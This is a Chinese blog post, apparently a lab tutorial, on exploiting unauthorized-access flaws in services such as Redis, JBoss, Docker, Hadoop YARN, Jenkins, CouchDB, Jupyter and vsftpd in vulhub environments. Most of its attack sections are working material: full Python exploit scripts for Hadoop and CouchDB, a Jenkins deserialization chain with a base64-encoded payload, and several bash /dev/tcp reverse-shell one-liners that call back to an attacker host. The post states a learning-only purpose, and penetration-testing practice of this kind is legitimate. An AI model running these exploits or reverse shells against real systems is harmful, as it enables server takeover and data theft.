斗胆在微信公众号发了一个自己写的小文章,特地再搬到CSDN上来分享一波。不足之处还望大家指出哈~
仅用于参考学习,切勿进行违法活动,倡导维护网络安全人人有责,共同维护网络安全和谐
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。
MongoDB未授权访问漏洞
1.靶场练习
1.1环境部署
docker search mongodb # 从Docker Hub查找镜像
docker pull mongo #从镜像仓库中拉取或者更新指定镜像
docker images mongo #列出本地主机上的mongo镜像
docker run -d -p 27017:27017 --name mongodb mongo # 创建一个新的容器并运行一个命令
docker ps # 显示正在运行的容器
Docker无法创建名为mongodb的容器,因为该名称已经被另一个容器占用了。要解决这个问题,您需要先停止并删除正在运行的mongodb容器或者重新命名该容器。
如果您想删除该容器并释放名称,则可以使用以下命令:
docker stop 94568ea36090 # 停止容器
docker rm 94568ea36090 # 删除容器
1.2渗透测试
-
使用nmap查询目标开放的端口信息
nmap -p 27017 192.168.31.218【MongoDB默认端口为27017】
(nmap -p 27017 --script mongodb-info 192.168.31.218)
保证准确性可以进行全端口的扫描
-
使用工具进行测试【 nosqlbooster4mongo-6.1.8.exe 】
使用工具直接对目标进行连接,然后就可以看到目标的很多敏感信息:【未授权访问成功】
Redis 未授权访问漏洞
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
数据库版本在 4.x / 5.x 以下。
1.靶场练习
1.1环境部署
[root@localhost vulhub-master]# cd redis/
[root@localhost redis]# ls 4-unacc
[root@localhost redis]# cd 4-unacc/
[root@localhost 4-unacc]# ls 1.png docker-compose.yml README.md
[root@localhost 4-unacc]# docker-compose build&&docker-compose up -d
1.2渗透测试
-
信息收集
使用nmap对目标设备进行端口扫描【6379】
G:\tools\Nmap\scripts>nmap -A -p 6379 --script redis-info 192.168.31.218
使用redis-info这个脚本加上指定的redis端口号进行针对性的扫描
看到这里的版本号后,判断可能存在redis的未授权漏洞。
-
漏洞利用
进入kali,找到工具所在位置。
进入相关目录启用工具 ./redis-cli -h 192.168.31.218
OK,这里我们就看到了它的很多信息,说明成功利用了redis的未授权漏洞。
Redis 提供了一些命令可以用于查看系统信息。以下是一些常用的 Redis 命令:
INFO:获取 Redis 服务器的统计信息
MONITOR:实时监测 Redis 服务器收到的命令请求。
CLIENT LIST:列出当前连接的客户端信息。
SLOWLOG GET:获取 Redis 慢查询日志。
CONFIG GET:获取 Redis 配置参数的值。
1.3Msf漏洞判断
使用:msf6 > use auxiliary/scanner/redis/redis_server
确定目标以及目标端口之后,exploit/run运行该模块【COMMAND处所指的是使用的渗透命令】
虽然看起来有点怪怪的,但是两边的数据是一样的,复现成功。
Jboss未授权访问漏洞
影响范围:JBoss AS 4.x及之前版本
1.靶场练习
1.1环境部署
vulhub中的靶场:
[root@localhost CVE-2017-7504]# docker-compose build&&docker-compose up -d
删除相关镜像/容器
[root@MiWiFi-RA81-srv CVE-2017-1000353]# docker stop 43ce6aa13233
43ce6aa13233
[root@MiWiFi-RA81-srv CVE-2017-1000353]# docker rm 43ce6aa13233
43ce6aa13233
[root@MiWiFi-RA81-srv CVE-2017-1000353]# docker rmi vulhub/jboss:as-4.0.5
1.2渗透测试
192.168.31.218:8080/jbossmq-httpil/HTTPServerILServlet
如果这个URL访问后出现下列页面,说明存在该漏洞。
安装漏洞利用工具:https://github.com/ianxtianxt/CVE-2015-7501/
git clone https://github.com/ianxtianxt/CVE-2015-7501.git进行安装
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
这是一个 Java 编译命令,用于编译 ReverseShellCommonsCollectionsHashMap.java 文件并生成可执行的 class 文件。
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.31.197:4444(IP是攻击机ip,port是要监听的端口)
完成之后,在kali端打开监听端口4444【nc -lvnp 4444】
再用之前生成的.ser文件,通过POST二进制数据上去,使用nc监听端口,即可拿到shell
curl http://192.168.31.218:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
执行完成之后nc那里就会接受到反弹回来的shell,之后我们就可以进行RCE的操作了
docker未授权访问漏洞
因为docker赋有远程的远程控制,docker开放了一个tcp端口2375,如果没有限制访问的话,攻击者就会通过这个端口来通过docker未授权来获取服务器权限。
漏洞影响:
攻击者利用 docker-client 或者 http 直接请求就可以访问这个API,可能导致敏感信息泄露,也可以删除Docker上的数据。攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。
1.靶场练习
1.1环境部署
cd /vulhub-master/docker/unauthorized-rce
docker-compose build&&docker-compose up -d
1.2渗透测试
首先进行的仍然是信息收集的操作,使用nmap对目标进行端口扫描:
nmap -sV -p 1-65535 192.168.31.218
2375端口:docker远程操控(通过这个端口对远程docker deaom进行操作)
已知目标开放2375端口,通过浏览器进行访问,如果页面显示message “page not found” 代表存在漏洞。
通过在URL后面加上指定的目录名称,可对未授权的信息进行查看。
1.2.1未授权信息访问
http://192.168.31.218:2375/info
http://192.168.31.218:2375/version
1.2.2漏洞利用getshell
docker -H tcp://192.168.31.218:2375 run -id -v /etc/crontabs:/tmp alpine:latest
这个命令的意思是在指定的IP地址和端口上运行Docker,使用alpine:latest镜像启动一个容器,并将本地的/etc/crontabs目录挂载到容器内的/tmp目录中。容器将在后台运行,并返回新容器的ID。
docker -H tcp://192.168.31.218:2375 ps -a #列出所有容器
docker -H tcp://192.168.31.218:2375 exec -it d9ce96d15593 sh #进入容器
这里看出获得了root权限。但是这个root权限是容器里的root权限,并不是目标的root权限。
Hadoop未授权访问漏洞
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
影响版本:3.3.0 以下
1.靶场练习
1.1环境部署
vulhub靶场,直接进去拉取镜像运行即可。docker-compose up -d #启动漏洞镜像
受影响版本:3.3.0 以下
1.2渗透测试
使用PoC脚本进行漏洞利用
##!/usr/bin/env python
import requests
import sys
target = 'http://192.168.31.218:8088'##目标机ip
lhost = '192.168.31.197' ##将你的本地ip填在这里,使用nc监听2334端口
target = sys.argv[1]
#lhost = sys.argv[2]
url = target + '/ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + '/ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/2334 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
kali端打开两个终端,一个用于执行PoC脚本,另一个打开监听端口对2334进行监听。
运行脚本之后,getshell成功!
Jenkins未授权访问漏洞
部署Jenkins 1.62版本,将全局授权策略打开,目前新版本的Jenkins已默认需要用户登录,但老版的中默认配置是“任意用户可以做任何事”,存在未授权访问的问题。
1.1环境部署
[root@MiWiFi-RA81-srv vulhub-master]# cd jenkins/
[root@MiWiFi-RA81-srv jenkins]# cd CVE-2017-1000353/
[root@MiWiFi-RA81-srv CVE-2017-1000353]# docker-compose up -d
1.2渗透测试
1.2.1手工测试
默认口令admin/admin登录页面
进入脚本命令行页面:http://192.168.31.218:8080/script
测试命令:println "ls".execute().text
RCE代码执行成功!
下载漏洞利用工具:https://github.com/vulhub/CVE-2017-1000353
git clone https://github.com/vulhub/CVE-2017-1000353.git
CVE-2017-1000353-SNAPSHOT-all.jar另外进行下载。
1.2.2工具验证
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
python exploit.py http://192.168.31.218:8080/ jenkins_poc.ser
执行成功!
1.2.3反弹shell
首先打开监听端口9999
nc -lvnp 9999
构造反弹shell
/bin/bash -i >& /dev/tcp/192.168.31.197/9999 0>&1
对其进行base64编码:
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTk3Lzk5OTkgMD4mMQ==
结合工具,整理命令行:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc2.ser "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMTk3Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"
python exploit.py http://192.168.31.218:8080/ jenkins_poc2.ser
getshell!!!
NPS未授权【默认口令admin/123】
1.靶场练习
1.1环境搭建
mkdir nps cd nps wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz tar -zxvf linux_amd64_server.tar.gz ./nps install ./nps
1.2渗透测试
打开浏览器,输入URL访问环境网站:
复制粘贴已有的PoCpython脚本:
#encoding=utf-8 import time import hashlib now = time.time() m = hashlib.md5() m.update(str(int(now)).encode("utf8")) auth_key = m.hexdigest() print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now)))
执行python脚本
将输出的payload复制下来:Index/Index?auth_key=ed6893f348c19cd372baa9eb0e0f0892×tamp=1682070349
http://IP地址:8080/payload
【脚本生成的Payload有时间限制,后面会失效需要重新进行生成】
通过该方式,绕过登陆界面进入后台。但是这仅仅是验证,因为这种方式登进,所有的功能都无法正常使用。所以下面才是重点!
这个是通过PoC绕过管理界面时捕捉到的数据包:
这里的Cookie非常关键,因为这个Cookie它绕过了登陆界面,所以我们可以使用这个Cookie来进行其他的未授权访问!
上述页面中我们可以看到,nps管理界面中有个客户端的功能,里面存放了用户的账号密码信息,我们可以使用该Cookie直接访问到这个页面中的信息,具体操作如下:
【该页面对应的数据包信息格式为:】
==================================================================================
POST /client/list HTTP/1.1
Host: 192.168.1.156:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://192.168.1.156:8080
Connection: close
Referer: http://192.168.1.156:8080/client/list
search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4×tamp=1659948547
==================================================================================
将上面复制的Cookie信息直接添加到请求行中,注意请求体中的部分信息要和PoC生成的信息对应(auth_key和timestamp信息):
注:之所以成功还是因为之前登陆过,所以cookie被允许了。比较鸡肋,不过是用工具会好很多。
python NpsUnauthorizedScan.py -t http://192.168.1.156:8080
Elasticsearch未授权访问漏洞
Elasticsearch是一款java编写的企业级搜索服务。越来越多的公司使用ELK作为日志分析,启动此服务默认会开放9200端口或者9300端口,可被非法操作数据 。
1.靶场练习
1.1环境搭建
[root@localhost CVE-2014-3120]# docker-compose up -d
1.2渗透测试
http://localhost:9200/_nodes查看节点数据
http://localhost:9200/_cat
CouchDB未授权访问漏洞
CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。术语 “Couch” 是 “Cluster Of Unreliable Commodity Hardware” 的首字母缩写,它反映了 CouchDB 的目标具有高度可伸缩性,提供了高可用性和高可靠性 。
1.靶场练习
1.1环境搭建
vulhub靶场搭建即可【CVE-2017-12636】
1.2渗透测试
访问一下这个目录:http://192.168.31.218:5984/_config
出现此页面表示该漏洞存在,这里已经可以看到未授权的一些信息了。下面使用exp进行getshell操作。
工具地址:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://192.168.31.218:5984/'
command = rb"""sh -i >& /dev/tcp/192.168.31.197/2334 0>&1"""
version = 1
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
Jupyter Notebook未授权访问漏洞
1.靶场练习
1.1环境搭建
vulhub靶场搭建
1.2渗透测试
http://192.168.31.218:8888/terminals/1
直接再来一个反弹getshell
bash -i >& /dev/tcp/192.168.31.197/4444 0>&1
Kibana未授权访问漏洞
kibana是一个开源的分析和可视化平台,设计用于和Elasticsearch一起工作
1.靶场练习
1.1环境搭建
vulhub靶场搭建
1.2渗透测试
http://192.168.31.218:5601/app/kibana#/页面直接进入未授权页面
RabbitMQ未授权访问漏洞
RabbitMQ是实现了高级消息队列协议(AMQP)的开源消息代理软件(亦称面向消息的中间件)。RabbitMQ服务器是用Erlang语言编写的,而集群和故障转移是构建在开放电信平台框架上的。所有主要的编程语言均有与代理接口通讯的客户端库。
这里主要的漏洞其实是弱口令相关的漏洞,常见弱口令为:admin/admin;guest/guest
FTP未授权访问漏洞
1.靶场练习
1.1笑脸漏洞
1.1.1漏洞原理:
在vsftpd2.3.4中在6200端口存在一个shell,使得任何人都可以进行连接,并且VSFTPD v2.3.4 服务,是以 root 权限运行的,最终获取到的权限也是root
1.1.2渗透测试
-nc渗透
首先老样子,进行信息收集,发现存在漏洞【ftp版本未2.3.4存在笑脸漏洞】
利用瑞士小军刀(netcat),连接靶机的21端口,输入user带有:),pass随便输入,注意:这里需要手动输入,此时靶机的6200端口开启,完成后请勿关闭此终端,保持下图的这个状态,不然6200端口也会随之关闭
直接获得root权限。
-msf渗透
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
exoloit/run直接getshell!!
druid未授权
对于Druid未授权访问,直接用扫描工具就可以扫描出来,有的不是在网站根目录下,会有二级目录 。
https://xxxxxxxxxxxxxxxxxxx/druid/index.html
泄露了网站后台功能模块的url地址,大多数都是一些api接口,有时候也会泄露一些敏感文件
Springboot actuator未授权访问漏洞
可通过目录扫描出来
http://xxxxxxxxxxxxxxxxxxx/actuator
http://xxxxxxxxxxxxxxxxxxx/actuator/env/
Weblogic未授权
1.靶场练习
vulhub的靶场vulhub-master/weblogic/CVE-2018-2894
无需登录,直接未授权访问http://192.168.2.164:7001/ws_utc/config.do
PHP-FPM Fastcgi未授权访问漏洞
1.靶场练习
靶场:vulhub-master/php/fpm
由于访问非*.PHP文件,所以返回结果403
进入.py文件所在目录,执行python3 exp.py your-ip /etc/passwd命令
使用命令执行一个默认存在的php文件
python3 exp.py your-ip /usr/local/lib/php/PEAR.php
任意命令执行复现
python3 exp.py your-ip /usr/local/lib/php/PEAR.php -c '<?php echo `pwd`;?>'
执行结果:
Apache Kylin未授权
漏洞介绍:
Apache Kylin是一个开源的分布式分析引擎,它最初由eBay开发,现在是Apache Software Foundation的项目。Apache Kylin建立在Apache Hadoop,Apache Hive,Apache HBase,Apache Parquet,Apache Calcite,Apache Spark和其他技术之上。这些技术使Kylin可以轻松扩展以支持海量数据负载。
Apache Kylin 有一个restful api会在没有认可认证的情况下暴露配置信息。
攻击者可利用该漏洞获取系统敏感信息。
影响版本:
Kylin 2.x.x
Kylin <= 3.1.0
Kylin 4.0.0-alpha
渗透测试:
PoC:/kylin/api/admin/config
修复建议
升级到安全版本,或执行以下缓解措施:
编辑 "$KYLIN_HOME/WEB-INF/classes/kylinSecurity.xml";删除下列行 "<scr:intercept-url pattern="/api/admin/config" access="permitAll"/>";
重启 Kylin实例以使其生效。
Flink Web Dashboard未授权
PoC:/#/overview